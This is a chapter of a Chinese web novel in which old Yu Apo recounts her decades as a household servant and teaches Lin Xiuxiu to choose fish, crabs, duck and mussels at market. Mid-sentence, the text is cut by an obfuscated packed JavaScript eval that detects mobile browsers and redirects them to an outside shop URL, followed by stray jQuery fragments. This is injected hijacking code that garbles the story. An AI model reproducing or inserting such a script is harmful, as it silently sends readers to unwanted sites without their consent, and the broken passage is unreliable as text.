余阿婆的声音缓缓又慢慢，像一汪春水一样讲起了她过去的故事。
她说，那年她二十岁，男人生急病走了，丢下他们的三个孩子，最小的还在吃奶。
男人死了，家里又没有地，她就只能出去找活干。
找来找去，没有人愿意给她这样带着三个孩子的女人一份工，她求来求去，最后求到好心人介绍，让她进了苏州一户大户人家当帮佣。
她死死抓住这个机会，干什么脏活累活都可以，只要给她一条活路就行，她还有孩子要养。
进去的前几个月，她干的是最粗的活，洗衣服、刷马桶、倒夜香，别人不愿意干，她都抢着干，她怕人家哪里看不上她就不要她了。
林秀秀一边刷锅一边听，手里的丝瓜络子慢了下来。
她想起自己刚到赵家的第一天，也是抢着想表现自己能干活，也是怕人家看不上她。
原来余阿婆曾经也是这样的，这念头冒出来，神奇的让林秀秀心底的不自在变轻了些。
她格外想表现，又害怕自己表现过度，适得其反。
余阿婆的话让她少了一些心理负担。
“主人家姓周，周家太太是好人，”余阿婆手上的扇子轻轻摇着，语气不急不缓的，不像是在讲苦日子，倒像是在讲童话故事。
“太太那天路过花园，看到我在搬花盆，好奇的问了一句，竟然也记住了我这个人，她看我年纪小，又带着孩子，不但没有嫌弃我，还调我去了厨房，让厨娘教我怎么做饭，让管家教我规矩。”
余阿婆说起那段日子，脸上尤带着笑容，那种笑容里有怀念也有幸福，像月光一样，“我走了大运，得了太太青眼，太太喜欢叫我去陪她聊天，她总跟我说，女人要过得好，靠的不光是力气，还有眼力和分寸。”
再后来，她就慢慢从小帮佣做到了大管家。
到了那会儿，周家的里里外外，包括四季衣物的轮换、节庆祭祖的供品、主人家的饮食起居、还有其他佣人的调派，全是她一个人负责打理。
她在周家做了几十年，也跟着见证了周家的兴衰辉煌，跟着主人家辗转去过上海和香港。
前后几十年一晃眼就过去，孙辈们都长大了，能挣钱了，她也干不动了，才回到苏杭老家养老。
后来儿子就在苏州开了间铺子，孙辈们都在她身边长大，女儿嫁到了杭州，但逢年过节都带着外孙回来陪她。
她说这些的时候，手里的扇子始终不紧不慢地摇着，枇杷树的影子在脚下轻轻晃。
这就是阿婆的一生了，林秀秀在心里默默的总结道，阿婆的一生，一直在循环往复的做好一件事，那就是把周家打理好。
这件事说起来似乎简单，但是又很难。
“那您后来还见过周太太吗？”林秀秀洗完最后一只碗，把手上的水在围裙上擦了擦，听的有些入迷。
“见过啊，”余阿婆笑着点头，“逢年过节我们都写信的，前几年她走的时候，我赶去上海送了她最后一程。”
“送完她回来的路上，我坐在火车上就在想，我做了一辈子的事也终于迎来了最后的结局，太太活着的时候，我让她过得舒舒服服的，从不操心这些小事，等她走了，我也安安静静送她最后一程。”
余阿婆声音低低缓缓，透露着一股经历世事后的从容和淡定，有股奇异的吸引力，就像紫砂壶里的温茶水，泛着暖意但不烫人。
林秀秀没有说话。
她陷入了余阿婆的故事里，手上无意识的一直在搓那只碟子，她想如果自己是余阿婆，能不能在同样的年纪把那一大家子都打理好？
她也想，如果自己是周太太，有这样一位贴心的管家，又是半生的朋友，是不是从生到死都别无遗憾了？
她还不太能想的明白，但她觉得，能把一件事做到让别人离不开你，那就是完美的厉害了。
她把手上的水擦干净，把洗干净的锅碗瓢盆都小心翼翼的搬进西厢房里放好，然后坐到余阿婆旁边的竹椅上。
枇杷树的叶子在月光下泛着银白，和着风摇啊摇，小虫鸣叫着，竹椅偶尔会传来吱呀一声。
余阿婆不说话了，她闭着眼睛，仿佛又回到了那段时光里。
接下来的一段日子里，林秀秀每天早上天不亮都跟着余阿婆去小菜场里，既是买菜，也是学习。
林秀秀发现这里的季节最终好像固定在了秋天，街边的桂花树上花一直开着，院子里枇杷树的叶子也一直绿着，天气凉爽微暖，从不为难人。
她想，这大概是因为余阿婆的记忆里，最好的季节就是秋天。
她问余阿婆讨要了一份纸笔，每天洗完碗后，就着煤油灯的光默默把一天里学会的东西都写下来。
林秀秀始终记着好记性不如烂笔头，即便是这份笔记带不出去，她也想多写几遍，写多了就记熟了，回到现实里再默一遍都是赚的。
她写春天的荠菜马兰头枸杞头，夏天的莼菜茭白莲藕菱角，秋天的水红菱鸡头米白果冬笋，冬天的矮脚青塌棵菜雪里蕻。
什么季节吃什么菜，什么菜该怎么做，余阿婆一样一样地教给她。
她教林秀秀怎么分辨鲫鱼是野生的还是养殖的，野生的鳞片更紧实，尾巴分叉深也游得凶猛，养殖的鳞片松，尾巴分叉浅，游起来懒洋洋的没什么精神。
还教她怎么挑螃蟹，九月团脐十月尖，母蟹看肚脐圆不圆，公蟹看螯足壮不壮，肚脐翘起来的才肥。
又教她怎么判断一块豆腐是盐卤点的还是石膏点的，盐卤豆腐口感粗一点但豆香味浓，石膏豆腐嫩但没嚼头。
林秀秀有时候也会独自被派去买东西，余阿婆故意不陪她一起。
她说，“你跟了我这么多天，也该自己练练，我跟着你，你就老想着有我兜底，眼睛就不尖了。”
林秀秀觉得这话有道理，但不影响她挎着篮子独自走向市集的时候心里还是在打鼓。
余阿婆会让她自己去买一只鸭子，做八宝鸭用。
“皮要完整，不能破，破了糯米就会漏出来，脖子上的皮是最薄的，所以你要翻过来仔细看，有针眼大的洞都不能要。”
林秀秀默念着这段话，在鸭摊前蹲了老半天，鸭子是杀好的，她把每只鸭子的脖子皮都翻过来看了一遍，最后选出来了两只，皮都是完整的，于是她又开始纠结，这只好像大一点，可那只好像更肥一点。
摊主在旁边等得都不耐烦了，点了根烟蹲在旁边抽，一副欲言又止、止言又欲的样子。
拎回来的时候她心里紧张得要命，怕余阿婆翻出什么毛病。
进门的时候还差点被门槛绊一跤，林秀秀在心里很理直气壮的迁怒了门槛，抬起头又是一脸忐忑的望着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744872|209242||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
余阿婆。
余阿婆睨她一眼，就知道她心里紧张，也没太严苛，接过鸭子翻看了一遍就点了点头，“这只可以。”
“挑了多久？小吴没有轰你走吗？”看她松了口气，余阿婆有些揶揄的笑道。
林秀秀愣了一下，“您怎么知道的？”
摊主最后真的快要忍不住轰她走了，林秀秀好歹还剩一点理智，没有挑昏了头，赶在摊主说话之前选好了鸭子。
余阿婆笑得眼角的皱纹都挤在一起，“你回来那么晚，我算着时间就知道你在摊前头站了好久，没事的，以后熟练了就好了，谁也不是一开始就会的。”
余阿婆还会心血来潮问她吃不吃松鼠鳜鱼，得到林秀秀咽着口水的吃后，立刻赶她去买一条鳜鱼回来。
林秀秀：……！
但是想吃……
“肉要厚，但鱼不能太大，太大的肉就老，要一斤半到两斤的最好，鱼身要匀称，背要宽。”
林秀秀在鱼摊前站了大半个钟头，把老板盆里的鳜鱼挨个看了一遍，她发现鳜鱼长得都挺凶的，嘴大，背鳍上还有刺，看着不像善茬，但吃起来很善良很大度。
太香了。
她迫不及待的拎回来给余阿婆看，余阿婆翻过鱼鳃看了看，又按了按鱼肉，“还行，但这条是公的，下次你要注意看鱼肚子，肚子圆鼓鼓的是母的，肚子扁平的是公的，我们做松鼠鳜鱼一般会用母的，肉更嫩。”
林秀秀把这些都记在心里，一边记一边忍不住想，原来鳜鱼也分公母的。
她从来没想过鱼还分公母。
哎呀要学的知识真是太多了。
但她不怕，学就是了。
她还学会了买河蚌，这次是余阿婆跟着去的。
“河蚌要挑壳紧闭的，用手掰不开的。壳张着一条缝的说明已经死掉了。”
林秀秀拿起一只河蚌，用手掰了掰壳，纹丝不动。
她又拿起另一只，壳上有一道裂缝，她轻轻一掰就开了，里面散发出一股腥臭味。
她赶紧把它放回去，在心里给那只河蚌打了个大叉叉。
“还有，”余阿婆又指点道，“同样大小的河蚌，要挑那个重一些的，重的是活的，肚子里有肉，轻的是空壳。”
林秀秀立刻拿起两只差不多大的河蚌放在手心里掂了掂，果然一只沉一只轻。
她按照余阿婆教的，挑了四五只河蚌，最后看向余阿婆，直到阿婆点了头，林秀秀才又高兴起来。
傍晚的时候，两个人经常会坐在枇杷树下一起剥毛豆。
这是林秀秀一天里最喜欢的时候。
因为活儿不累，手上忙活着，嘴上可以说话，也可以不说话。
不说话的时候也不会觉得尴尬，就是安安静静地剥豆子。
豆荚掰开的时候有股独有的清香味，豆粒落在搪瓷盆里当当的响。
最后会变成香喷喷的萝卜干炒毛豆。
林秀秀现在能一个人剥完一大碗毛豆了，虽然速度还是比不上余阿婆，但比第一次剥时已经快很多了。
余阿婆忽然把手里的毛豆壳放下，用围裙擦了擦手。
“我这么多年攒下的买菜经，都教给你了。”
她语气淡淡的，像是在说一件很平常的事情一样。
“秀秀，你准备好最后的考试了吗？”